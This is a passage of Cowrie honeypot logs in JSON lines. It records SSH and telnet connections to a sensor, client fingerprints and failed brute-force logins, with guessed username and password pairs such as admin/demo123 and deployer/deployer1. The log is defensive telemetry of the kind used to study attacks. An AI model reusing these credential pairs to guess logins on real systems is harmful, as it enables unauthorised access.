man-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:00.894684Z","src_ip":"187.141.71.166","session":"1152bb49e180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"mit","message":"login attempt [admin/mit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:01.421896Z","src_ip":"187.141.71.166","session":"1152bb49e180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:02.549567Z","src_ip":"187.141.71.166","session":"1152bb49e180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":38340,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6f086ca223e","protocol":"telnet","message":"New connection: 194.233.64.34:38340 (159.203.135.109:23) [session: f6f086ca223e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:05.468793Z"}
{"eventid":"cowrie.session.closed","duration":47.15893912315369,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:06.363155Z","src_ip":"134.209.8.29","session":"2ada4c037b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49030,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f158c2aea8f","protocol":"telnet","message":"New connection: 134.209.8.29:49030 (159.203.135.109:23) [session: 5f158c2aea8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:08.176714Z"}
{"eventid":"cowrie.session.closed","duration":1.0011041164398193,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:09.177688Z","src_ip":"134.209.8.29","session":"5f158c2aea8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.54946446418762,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:10.325303Z","src_ip":"134.209.8.29","session":"eff0b745f25c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39586,"dst_ip":"159.203.135.109","dst_port":23,"session":"af8eda00a4d4","protocol":"telnet","message":"New connection: 134.209.8.29:39586 (159.203.135.109:23) [session: af8eda00a4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:14.364303Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e048895b13ca","protocol":"telnet","message":"New connection: 134.209.8.29:39600 (159.203.135.109:23) [session: e048895b13ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:21.852435Z"}
{"eventid":"cowrie.session.closed","duration":2.6497952938079834,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:24.501759Z","src_ip":"134.209.8.29","session":"e048895b13ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60180,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead6208fde89","protocol":"telnet","message":"New connection: 134.209.8.29:60180 (159.203.135.109:23) [session: ead6208fde89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:31.740320Z"}
{"eventid":"cowrie.session.closed","duration":49.18690896034241,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:33.051466Z","src_ip":"134.209.8.29","session":"c8116ebbe673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":36272,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a36d492860d","protocol":"ssh","message":"New connection: 148.216.28.11:36272 (10.17.0.5:22) [session: 8a36d492860d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:35.866841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:35.871843Z","src_ip":"148.216.28.11","session":"8a36d492860d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:35.947516Z","src_ip":"148.216.28.11","session":"8a36d492860d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71129298210144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:36.180094Z","src_ip":"194.233.64.34","session":"f6f086ca223e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"demo123","message":"login attempt [admin/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:36.255470Z","src_ip":"148.216.28.11","session":"8a36d492860d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:37.328963Z","src_ip":"148.216.28.11","session":"8a36d492860d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.683572769165039,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:37.423511Z","src_ip":"134.209.8.29","session":"ead6208fde89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36984,"dst_ip":"159.203.135.109","dst_port":23,"session":"9797c193a7cb","protocol":"telnet","message":"New connection: 134.209.8.29:36984 (159.203.135.109:23) [session: 9797c193a7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:39.688263Z"}
{"eventid":"cowrie.session.closed","duration":0.9299561977386475,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:40.617812Z","src_ip":"134.209.8.29","session":"9797c193a7cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36172,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d69697f444","protocol":"telnet","message":"New connection: 134.209.8.29:36172 (159.203.135.109:23) [session: 69d69697f444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:46.548698Z"}
{"eventid":"cowrie.session.closed","duration":50.660112619400024,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:46.976432Z","src_ip":"134.209.8.29","session":"f69603ab2c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":34178,"dst_ip":"159.203.135.109","dst_port":22,"session":"dadcd8aa08dc","protocol":"ssh","message":"New connection: 165.22.63.98:34178 (159.203.135.109:22) [session: dadcd8aa08dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:52.058939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:52.063819Z","src_ip":"165.22.63.98","session":"dadcd8aa08dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.48924517631531,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:52.244597Z","src_ip":"134.209.8.29","session":"c73eda4f5c11","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:52.300315Z","src_ip":"165.22.63.98","session":"dadcd8aa08dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:53.276712Z","src_ip":"165.22.63.98","session":"dadcd8aa08dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:54.516501Z","src_ip":"165.22.63.98","session":"dadcd8aa08dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":42948,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b5e114d25b","protocol":"ssh","message":"New connection: 187.141.71.166:42948 (159.203.135.109:22) [session: 14b5e114d25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:54.836537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:54.842013Z","src_ip":"187.141.71.166","session":"14b5e114d25b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:54.976428Z","src_ip":"187.141.71.166","session":"14b5e114d25b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer1","message":"login attempt [deployer/deployer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:55.497745Z","src_ip":"187.141.71.166","session":"14b5e114d25b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:00:56.624439Z","src_ip":"187.141.71.166","session":"14b5e114d25b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02267241477966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:17.942927Z","src_ip":"134.209.8.29","session":"f498b660e450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":55660,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab9a4f6c5dc","protocol":"ssh","message":"New connection: 148.216.28.11:55660 (10.17.0.5:22) [session: aab9a4f6c5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:21.552280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:21.557375Z","src_ip":"148.216.28.11","session":"aab9a4f6c5dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:21.624289Z","src_ip":"148.216.28.11","session":"aab9a4f6c5dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:21.919363Z","src_ip":"148.216.28.11","session":"aab9a4f6c5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:22.988835Z","src_ip":"148.216.28.11","session":"aab9a4f6c5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.23672962188721,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:32.785301Z","src_ip":"134.209.8.29","session":"69d69697f444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01285982131958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:45.681010Z","src_ip":"134.209.8.29","session":"f8773cafb877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":53660,"dst_ip":"159.203.135.109","dst_port":22,"session":"18acf8b642f6","protocol":"ssh","message":"New connection: 187.141.71.166:53660 (159.203.135.109:22) [session: 18acf8b642f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:47.101350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:47.109933Z","src_ip":"187.141.71.166","session":"18acf8b642f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39652,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f1fa665a71","protocol":"telnet","message":"New connection: 134.209.8.29:39652 (159.203.135.109:23) [session: 05f1fa665a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:47.116752Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:47.231463Z","src_ip":"187.141.71.166","session":"18acf8b642f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1234567","message":"login attempt [testuser/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:47.748490Z","src_ip":"187.141.71.166","session":"18acf8b642f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39662,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b169d82d8d6","protocol":"telnet","message":"New connection: 134.209.8.29:39662 (159.203.135.109:23) [session: 0b169d82d8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:48.139470Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:48.873092Z","src_ip":"187.141.71.166","session":"18acf8b642f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39666,"dst_ip":"159.203.135.109","dst_port":23,"session":"31109ffec170","protocol":"telnet","message":"New connection: 134.209.8.29:39666 (159.203.135.109:23) [session: 31109ffec170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:50.438072Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39672,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d5eaec91de","protocol":"telnet","message":"New connection: 134.209.8.29:39672 (159.203.135.109:23) [session: 94d5eaec91de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:52.166034Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":52084,"dst_ip":"159.203.135.109","dst_port":22,"session":"19084d0becc6","protocol":"ssh","message":"New connection: 165.22.63.98:52084 (159.203.135.109:22) [session: 19084d0becc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:52.521362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:52.526073Z","src_ip":"165.22.63.98","session":"19084d0becc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-g